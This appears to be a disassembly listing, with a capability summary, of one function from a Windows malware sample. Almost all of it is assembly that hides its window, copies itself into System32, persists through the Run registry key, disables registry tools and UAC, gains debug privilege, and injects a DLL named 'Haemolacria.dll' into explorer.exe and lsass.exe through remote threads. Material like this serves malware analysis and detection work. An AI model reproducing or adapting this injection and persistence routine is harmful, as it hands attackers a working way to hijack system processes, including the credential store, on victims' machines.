Function at 0x1400011d0
Capabilities:
Copy file
Create thread
Disable system features via registry on windows
Hide graphical window
Inject dll
Inject thread
Link many functions at runtime
Persist via run registry key
Resume thread
Set registry value
Suspend thread
Terminate process

Disassembly:
jmp 0x1400011d0
push rsi
push rdi
sub rsp, 0x328
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140001014
lea rax, [rsp + 0xf0]
lea rcx, str.Haemolacria.dll
mov rdi, rax
mov rsi, rcx
mov ecx, 0x11
rep movsb byte [rdi], byte [rsi]
lea rcx, [0x140007088]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0xb8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x98], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov qword [rsp + 0xe0], rax
lea rdx, str.LoadLibraryA
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x90], rax
lea rdx, str.GetLastError
mov rcx, qword [rsp + 0xb8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0x200
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x108], rax
mov r8d, 0x104
lea rdx, [rsp + 0x110]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 1
lea rdx, [0x1400070e0]
lea rcx, [rsp + 0x110]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea r8, [rsp + 0x80]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x28], 0x3a
lea rax, str.C:WindowsSystem32hldr.exe
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
lea rdx, str.Haemolacria
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rsp + 0x68], 1
lea r8, [rsp + 0x80]
lea rdx, [0x1400071e0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.DisableRegistryTools
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x80]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov dword [rsp + 0x28], 4
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.EnableLUA
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xa0], rax
lea rdx, str.RtlCreateUserThread
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd0], rax
lea rdx, str.RtlAdjustPrivilege
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xd8], rax
lea rdx, str.NtSetInformationProcess
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0xe8], rax
lea r9, [rsp + 0x68]
xor r8d, r8d
mov dl, 1
mov ecx, 0x14
call qword [rsp + 0xd8]
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0xb
lea rdx, str.Got_privs__n
mov rcx, qword [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea rcx, str.explorer.exe
call fcn.14000100f
mov dword [rsp + 0x88], eax
mov r8d, dword [rsp + 0x88]
xor edx, edx
mov ecx, 0x23a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x68], 1
mov r9d, 4
lea r8, [rsp + 0x68]
mov edx, 0x1d
mov rcx, qword [rsp + 0x60]
call qword [rsp + 0xe8]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x11
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x11
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
je 0x140001595
mov edx, 0x7d0
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xc8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x8c]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rsp + 0x8c], 8
jne 0x1400016d8
cmp qword [rsp + 0xa0], 0
je 0x14000165c
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
mov edx, 0x43
lea rcx, [rsp + 0x70]
call qword [rsp + 0xa0]
jmp 0x1400016ac
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [rsp + pe_nt_image_headers64]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [rsp + 0x8c], 0
mov qword [rsp + 0x70], 0
lea rcx, str.lsass.exe
call fcn.14000100f
mov dword [rsp + 0x88], eax
mov qword [rsp + 0x60], 0
mov r8d, dword [rsp + 0x88]
xor edx, edx
mov ecx, 0x3a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, 0xc8
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0xc0], rax
mov r8d, dword [rsp + 0xa8]
lea rdx, str.lasterror:__u
mov rcx, qword [rsp + 0xc0]
call qword [sym.imp.USER32.dll_wsprintfW]
cmp qword [rsp + 0x60], 0
jne 0x140001785
xor r9d, r9d
lea r8, [0x140007084]
mov rdx, qword [rsp + 0xc0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8d, 0x11
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x11
lea r8, [rsp + 0xf0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x90]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0xc8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0xb0], rax
lea rdx, [rsp + 0x8c]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp qword [rsp + 0xa0], 0
je 0x1400018c3
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x60]
xor r8d, r8d
mov edx, 0x43
lea rcx, [rsp + 0x70]
call qword [rsp + 0xa0]
jmp 0x140001913
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [rsp + pe_nt_image_headers64]
mov ecx, 0xc8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]